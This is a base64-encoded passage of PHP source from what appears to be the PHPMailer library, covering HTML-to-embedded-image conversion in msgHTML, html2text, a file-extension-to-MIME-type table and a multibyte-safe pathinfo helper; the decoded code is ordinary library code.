Jy8nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRpbWFnZXNbMl0gYXMgJGltZ2luZGV4ID0+ICR1cmwpIHsKICAgICAgICAgICAgICAgIC8vIENvbnZlcnQgZGF0YSBVUklzIGludG8gZW1iZWRkZWQgaW1hZ2VzCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15kYXRhOihpbWFnZVteOyxdKikoO2Jhc2U2NCk\/LCMnLCAkdXJsLCAkbWF0Y2gpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBzdWJzdHIoJHVybCwgc3RycG9zKCR1cmwsICcsJykpOwogICAgICAgICAgICAgICAgICAgIGlmICgkbWF0Y2hbMl0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBiYXNlNjRfZGVjb2RlKCRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHJhd3VybGRlY29kZSgkZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJGRhdGEsICRjaWQsICdlbWJlZCcgLiAkaW1naW5kZXgsICdiYXNlNjQnLCAkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzBdWyRpbWdpbmRleF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICAgICAvLyBPbmx5IHByb2Nlc3MgcmVsYXRpdmUgVVJMcyBpZiBhIGJhc2VkaXIgaXMgcHJvdmlkZWQgKGkuZS4gbm8gYWJzb2x1dGUgbG9jYWwgcGF0aHMpCiAgICAgICAgICAgICAgICAgICAgIWVtcHR5KCRiYXNlZGlyKQogICAgICAgICAgICAgICAgICAgIC8vIElnbm9yZSBVUkxzIGNvbnRhaW5pbmcgcGFyZW50IGRpciB0cmF2ZXJzYWwgKC4uKQogICAgICAgICAgICAgICAgICAgICYmIChzdHJwb3MoJHVybCwgJy4uJykgPT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgdXJscyB0aGF0IGFyZSBhbHJlYWR5IGlubGluZSBpbWFnZXMKICAgICAgICAgICAgICAgICAgICAmJiBzdWJzdHIoJHVybCwgMCwgNCkgIT09ICdjaWQ6JwogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgYWJzb2x1dGUgVVJMcywgaW5jbHVkaW5nIGFub255bW91cyBwcm90b2NvbAogICAgICAgICAgICAgICAgICAgICYmICFwcmVnX21hdGNoKCcjXlthLXpdW2EtejAtOSsuLV0qOj8vLyNpJywgJHVybCkKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSBkaXJuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZGlyZWN0b3J5ID09ICcuJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkaXJlY3RvcnkpID4gMSAmJiBzdWJzdHIoJGRpcmVjdG9yeSwgLTEpICE9ICcvJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5IC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRFbWJlZGRlZEltYWdlKAogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuICRkaXJlY3RvcnkgLiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NCcsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGY6Ol9taW1lX3R5cGVzKChzdHJpbmcpc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBwcmVnX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLycgLiAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPVsiXCddJyAuIHByZWdfcXVvdGUoJHVybCwgJy8nKSAuICdbIlwnXS9VaScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+aXNIVE1MKHRydWUpOwogICAgICAgIC8vIENvbnZlcnQgYWxsIG1lc3NhZ2UgYm9keSBsaW5lIGJyZWFrcyB0byBDUkxGLCBtYWtlcyBxdW90ZWQtcHJpbnRhYmxlIGVuY29kaW5nIHdvcmsgbXVjaCBiZXR0ZXIKICAgICAgICAkdGhpcy0+Qm9keSA9ICR0aGlzLT5ub3JtYWxpemVCcmVha3MoJG1lc3NhZ2UpOwogICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPm5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsKICAgICAgICBpZiAoISR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJ1RvIHZpZXcgdGhpcyBlbWFpbCBtZXNzYWdlLCBvcGVuIGl0IGluIGEgcHJvZ3JhbSB0aGF0IHVuZGVyc3RhbmRzIEhUTUwhJyAuCiAgICAgICAgICAgICAgICBzZWxmOjpDUkxGIC4gc2VsZjo6Q1JMRjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5Cb2R5OwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydCBhbiBIVE1MIHN0cmluZyBpbnRvIHBsYWluIHRleHQuCiAgICAgKiBUaGlzIGlzIHVzZWQgYnkgbXNnSFRNTCgpLgogICAgICogTm90ZSAtIG9sZGVyIHZlcnNpb25zIG9mIHRoaXMgZnVuY3Rpb24gdXNlZCBhIGJ1bmRsZWQgYWR2YW5jZWQgY29udmVydGVyCiAgICAgKiB3aGljaCB3YXMgYmVlbiByZW1vdmVkIGZvciBsaWNlbnNlIHJlYXNvbnMgaW4gIzIzMi4KICAgICAqIEV4YW1wbGUgdXNhZ2U6CiAgICAgKiA8Y29kZT4KICAgICAqIC8vIFVzZSBkZWZhdWx0IGNvbnZlcnNpb24KICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwpOwogICAgICogLy8gVXNlIHlvdXIgb3duIGN1c3RvbSBjb252ZXJ0ZXIKICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwsIGZ1bmN0aW9uKCRodG1sKSB7CiAgICAgKiAgICAgJGNvbnZlcnRlciA9IG5ldyBNeUh0bWwydGV4dCgkaHRtbCk7CiAgICAgKiAgICAgcmV0dXJuICRjb252ZXJ0ZXItPmdldF90ZXh0KCk7CiAgICAgKiB9KTsKICAgICAqIDwvY29kZT4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGh0bWwgVGhlIEhUTUwgdGV4dCB0byBjb252ZXJ0CiAgICAgKiBAcGFyYW0gYm9vbGVhbnxjYWxsYWJsZSAkYWR2YW5jZWQgQW55IGJvb2xlYW4gdmFsdWUgdG8gdXNlIHRoZSBpbnRlcm5hbCBjb252ZXJ0ZXIsCiAgICAgKiAgIG9yIHByb3ZpZGUgeW91ciBvd24gY2FsbGFibGUgZm9yIGN1c3RvbSBjb252ZXJzaW9uLgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGh0bWwydGV4dCgkaHRtbCwgJGFkdmFuY2VkID0gZmFsc2UpCiAgICB7CiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCRhZHZhbmNlZCkpIHsKICAgICAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jKCRhZHZhbmNlZCwgJGh0bWwpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gaHRtbF9lbnRpdHlfZGVjb2RlKAogICAgICAgICAgICB0cmltKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKCcvPChoZWFkfHRpdGxlfHN0eWxlfHNjcmlwdClbXj5dKj4uKj88XC9cXDE+L3NpJywgJycsICRodG1sKSkpLAogICAgICAgICAgICBFTlRfUVVPVEVTLAogICAgICAgICAgICAkdGhpcy0+Q2hhclNldAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIE1JTUUgdHlwZSBmb3IgYSBmaWxlIGV4dGVuc2lvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dCBGaWxlIGV4dGVuc2lvbgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIE1JTUUgdHlwZSBvZiBmaWxlLgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9taW1lX3R5cGVzKCRleHQgPSAnJykKICAgIHsKICAgICAgICAkbWltZXMgPSBhcnJheSgKICAgICAgICAgICAgJ3hsJyAgICA9PiAnYXBwbGljYXRpb24vZXhjZWwnLAogICAgICAgICAgICAnanMnICAgID0+ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAgICAgJ2hxeCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWJpbmhleDQwJywKICAgICAgICAgICAgJ2NwdCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWNvbXBhY3Rwcm8nLAogICAgICAgICAgICAnYmluJyAgID0+ICdhcHBsaWNhdGlvbi9tYWNiaW5hcnknLAogICAgICAgICAgICAnZG9jJyAgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAnd29yZCcgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAneGxzeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC5zaGVldCcsCiAgICAgICAgICAgICd4bHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3BvdHgnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3Bwc3gnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnNsaWRlc2hvdycsCiAgICAgICAgICAgICdwcHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5wcmVzZW50YXRpb24nLAogICAgICAgICAgICAnc2xkeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwuc2xpZGUnLAogICAgICAgICAgICAnZG9jeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICdkb3R4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2luZ21sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3hsYW0nICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsLmFkZGluLm1hY3JvRW5hYmxlZC4xMicsCiAgICAgICAgICAgICd4bHNiJyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbC5zaGVldC5iaW5hcnkubWFjcm9FbmFibGVkLjEyJywKICAgICAgICAgICAgJ2NsYXNzJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RsbCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RtcycgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2V4ZScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2xoYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2x6aCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3BzZCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NlYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NvJyAgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ29kYScgICA9PiAnYXBwbGljYXRpb24vb2RhJywKICAgICAgICAgICAgJ3BkZicgICA9PiAnYXBwbGljYXRpb24vcGRmJywKICAgICAgICAgICAgJ2FpJyAgICA9PiAnYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsCiAgICAgICAgICAgICdlcHMnICAgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLAogICAgICAgICAgICAncHMnICAgID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ3NtaScgICA9PiAnYXBwbGljYXRpb24vc21pbCcsCiAgICAgICAgICAgICdzbWlsJyAgPT4gJ2FwcGxpY2F0aW9uL3NtaWwnLAogICAgICAgICAgICAnbWlmJyAgID0+ICdhcHBsaWNhdGlvbi92bmQubWlmJywKICAgICAgICAgICAgJ3hscycgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJywKICAgICAgICAgICAgJ3BwdCcgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnLAogICAgICAgICAgICAnd2J4bWwnID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndieG1sJywKICAgICAgICAgICAgJ3dtbGMnICA9PiAnYXBwbGljYXRpb24vdm5kLndhcC53bWxjJywKICAgICAgICAgICAgJ2RjcicgICA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsCiAgICAgICAgICAgICdkaXInICAgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLAogICAgICAgICAgICAnZHhyJyAgID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywKICAgICAgICAgICAgJ2R2aScgICA9PiAnYXBwbGljYXRpb24veC1kdmknLAogICAgICAgICAgICAnZ3RhcicgID0+ICdhcHBsaWNhdGlvbi94LWd0YXInLAogICAgICAgICAgICAncGhwMycgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHA0JyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocCcgICA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGh0bWwnID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHBzJyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwLXNvdXJjZScsCiAgICAgICAgICAgICdzd2YnICAgPT4gJ2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJywKICAgICAgICAgICAgJ3NpdCcgICA9PiAnYXBwbGljYXRpb24veC1zdHVmZml0JywKICAgICAgICAgICAgJ3RhcicgICA9PiAnYXBwbGljYXRpb24veC10YXInLAogICAgICAgICAgICAndGd6JyAgID0+ICdhcHBsaWNhdGlvbi94LXRhcicsCiAgICAgICAgICAgICd4aHQnICAgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd4aHRtbCcgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd6aXAnICAgPT4gJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICAgICAgICAgICdtaWQnICAgPT4gJ2F1ZGlvL21pZGknLAogICAgICAgICAgICAnbWlkaScgID0+ICdhdWRpby9taWRpJywKICAgICAgICAgICAgJ21wMicgICA9PiAnYXVkaW8vbXBlZycsCiAgICAgICAgICAgICdtcDMnICAgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnbXBnYScgID0+ICdhdWRpby9tcGVnJywKICAgICAgICAgICAgJ2FpZicgICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmMnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmYnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ3JhbScgICA9PiAnYXVkaW8veC1wbi1yZWFsYXVkaW8nLAogICAgICAgICAgICAncm0nICAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsCiAgICAgICAgICAgICdycG0nICAgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvLXBsdWdpbicsCiAgICAgICAgICAgICdyYScgICAgPT4gJ2F1ZGlvL3gtcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3dhdicgICA9PiAnYXVkaW8veC13YXYnLAogICAgICAgICAgICAnYm1wJyAgID0+ICdpbWFnZS9ibXAnLAogICAgICAgICAgICAnZ2lmJyAgID0+ICdpbWFnZS9naWYnLAogICAgICAgICAgICAnanBlZycgID0+ICdpbWFnZS9qcGVnJywKICAgICAgICAgICAgJ2pwZScgICA9PiAnaW1hZ2UvanBlZycsCiAgICAgICAgICAgICdqcGcnICAgPT4gJ2ltYWdlL2pwZWcnLAogICAgICAgICAgICAncG5nJyAgID0+ICdpbWFnZS9wbmcnLAogICAgICAgICAgICAndGlmZicgID0+ICdpbWFnZS90aWZmJywKICAgICAgICAgICAgJ3RpZicgICA9PiAnaW1hZ2UvdGlmZicsCiAgICAgICAgICAgICdlbWwnICAgPT4gJ21lc3NhZ2UvcmZjODIyJywKICAgICAgICAgICAgJ2NzcycgICA9PiAndGV4dC9jc3MnLAogICAgICAgICAgICAnaHRtbCcgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnaHRtJyAgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnc2h0bWwnID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnbG9nJyAgID0+ICd0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3RleHQnICA9PiAndGV4dC9wbGFpbicsCiAgICAgICAgICAgICd0eHQnICAgPT4gJ3RleHQvcGxhaW4nLAogICAgICAgICAgICAncnR4JyAgID0+ICd0ZXh0L3JpY2h0ZXh0JywKICAgICAgICAgICAgJ3J0ZicgICA9PiAndGV4dC9ydGYnLAogICAgICAgICAgICAndmNmJyAgID0+ICd0ZXh0L3ZjYXJkJywKICAgICAgICAgICAgJ3ZjYXJkJyA9PiAndGV4dC92Y2FyZCcsCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3RleHQveG1sJywKICAgICAgICAgICAgJ3hzbCcgICA9PiAndGV4dC94bWwnLAogICAgICAgICAgICAnbXBlZycgID0+ICd2aWRlby9tcGVnJywKICAgICAgICAgICAgJ21wZScgICA9PiAndmlkZW8vbXBlZycsCiAgICAgICAgICAgICdtcGcnICAgPT4gJ3ZpZGVvL21wZWcnLAogICAgICAgICAgICAnbW92JyAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncXQnICAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncnYnICAgID0+ICd2aWRlby92bmQucm4tcmVhbHZpZGVvJywKICAgICAgICAgICAgJ2F2aScgICA9PiAndmlkZW8veC1tc3ZpZGVvJywKICAgICAgICAgICAgJ21vdmllJyA9PiAndmlkZW8veC1zZ2ktbW92aWUnCiAgICAgICAgKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cyhzdHJ0b2xvd2VyKCRleHQpLCAkbWltZXMpKSB7CiAgICAgICAgICAgIHJldHVybiAkbWltZXNbc3RydG9sb3dlcigkZXh0KV07CiAgICAgICAgfQogICAgICAgIHJldHVybiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsKICAgIH0KCiAgICAvKioKICAgICAqIE1hcCBhIGZpbGUgbmFtZSB0byBhIE1JTUUgdHlwZS4KICAgICAqIERlZmF1bHRzIHRvICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCBpLmUuLiBhcmJpdHJhcnkgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSBBIGZpbGUgbmFtZSBvciBmdWxsIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICAvLyBJbiBjYXNlIHRoZSBwYXRoIGlzIGEgVVJMLCBzdHJpcCBhbnkgcXVlcnkgc3RyaW5nIGJlZm9yZSBnZXR0aW5nIGV4dGVuc2lvbgogICAgICAgICRxcG9zID0gc3RycG9zKCRmaWxlbmFtZSwgJz8nKTsKICAgICAgICBpZiAoZmFsc2UgIT09ICRxcG9zKSB7CiAgICAgICAgICAgICRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZW5hbWUsIDAsICRxcG9zKTsKICAgICAgICB9CiAgICAgICAgJHBhdGhpbmZvID0gc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lKTsKICAgICAgICByZXR1cm4gc2VsZjo6X21pbWVfdHlwZXMoJHBhdGhpbmZvWydleHRlbnNpb24nXSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBNdWx0aS1ieXRlLXNhZmUgcGF0aGluZm8gcmVwbGFjZW1lbnQuCiAgICAgKiBEcm9wLWluIHJlcGxhY2VtZW50IGZvciBwYXRoaW5mbygpLCBidXQgbXVsdGlieXRlLXNhZmUsIGNyb3NzLXBsYXRmb3JtLXNhZmUsIG9sZC12ZXJzaW9uLXNhZmUuCiAgICAgKiBXb3JrcyBzaW1pbGFybHkgdG8gdGhlIG9uZSBpbiBQSFAgPj0gNS4yLjAKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucGF0aGluZm8ucGhwIzEwNzQ2MQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIGZpbGVuYW1lIG9yIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcGFyYW0gaW50ZWdlcnxzdHJpbmcgJG9wdGlvbnMgRWl0aGVyIGEgUEFUSElORk9fKiBjb25zdGFudCwKICAgICAqICAgICAgb3IgYSBzdHJpbmcgbmFtZSB0byByZXR1cm4gb25seSB0aGUgc3BlY2lmaWVkIHBpZWNlLCBhbGxvd3MgJ2ZpbGVuYW1lJyB0byB3b3JrIG9uIFBIUCA8IDUuMgogICAgICogQHJldHVybiBzdHJpbmd8YXJyYXkKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBtYl9wYXRoaW5mbygkcGF0aCwgJG9wdGlvbnMgPSBudWxsKQogICAgewogICAgICAgICRyZXQgPSBhcnJheSgnZGlybmFtZScgPT4gJycsICdiYXNlbmFtZScgPT4gJycsICdleHRlbnNpb24nID0+ICcnLCAnZmlsZW5hbWUnID0+ICcnKTsKICAgICAgICAkcGF0aGluZm8gPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoKCclXiguKj8pW1xcXFwvXSooKFteL1xcXFxdKj8pKFwuKFteXC5cXFxcL10rPyl8KSlbXFxcXC9cLl0qJCVpbScsICRwYXRoLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDEsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2Rpcm5hbWUnXSA9ICRwYXRoaW5mb1sxXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgICAgICAkcmV0WydiYXNlbmFtZSddID0gJHBhdGhpbmZvWzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDUsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2V4dGVuc2lvbiddID0gJHBhdGhpbmZvWzVdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDMsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2ZpbGVuYW1lJ10gPSAkcGF0aGluZm9bM107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgc3dpdGNoICgkb3B0aW9ucykgewogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6CiAgICAgICAgICAgIGNhc2UgJ2Rpcm5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Rpcm5hbWUnXTsKICAgICAgICAgICAgY2FzZSBQQVRISU5GT19CQVNFTkFNRToKICAgICAgICAgICAgY2FzZSAnYmFzZW5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Jhc2VuYW1lJ107CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRVhURU5TSU9OOgogICAgICAgICAgICBjYXNlICdleHRlbnNpb24nOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2V4dGVuc2lvbiddOwogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOgogICAgICAgICAgICBjYXNlICdmaWxlbmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnZmlsZW5hbWUnXTsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIHJldHVybiAkcmV0OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCBvciByZXNldCBpbnN0YW5jZSBwcm9wZXJ0aWVzLgogICAgICogWW91IHNob3VsZCBhdm9pZCB0aGlzIGZ1bmN0aW9uIC0gaXQncyBtb3JlIHZlcmJvc2UsIGxlc3MgZWZmaWNpZW50LCBtb3JlIGVycm9yLXByb25lIGFuZAogICAgICogaGFyZGVyIHRvIGRlYnVnIHRoYW4gc2V0dGluZyBwcm9wZXJ0aWVzIGRpcmVjdGx5LgogICAgICogVXNhZ2UgRXhhbXBsZToKICAgICAqIGAkbWFpbC0+c2V0KCdTTVRQU2VjdXJlJywgJ3RscycpO2AKICAgICAqICAgaXMgdGhlIHNhbWUgYXM6CiAgICAgKiBgJG1haWwtPlNNVFBTZWN1cmUgPSAndGxzJztgCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgcHJvcGVydHkgbmFtZSB0byBzZXQKICAgICAqIEBwYXJhbSBtaXhlZCAkdmFsdWUgVGhlIHZhbHVlIHRvIHNldCB0aGUgcHJvcGVydHkgdG8KI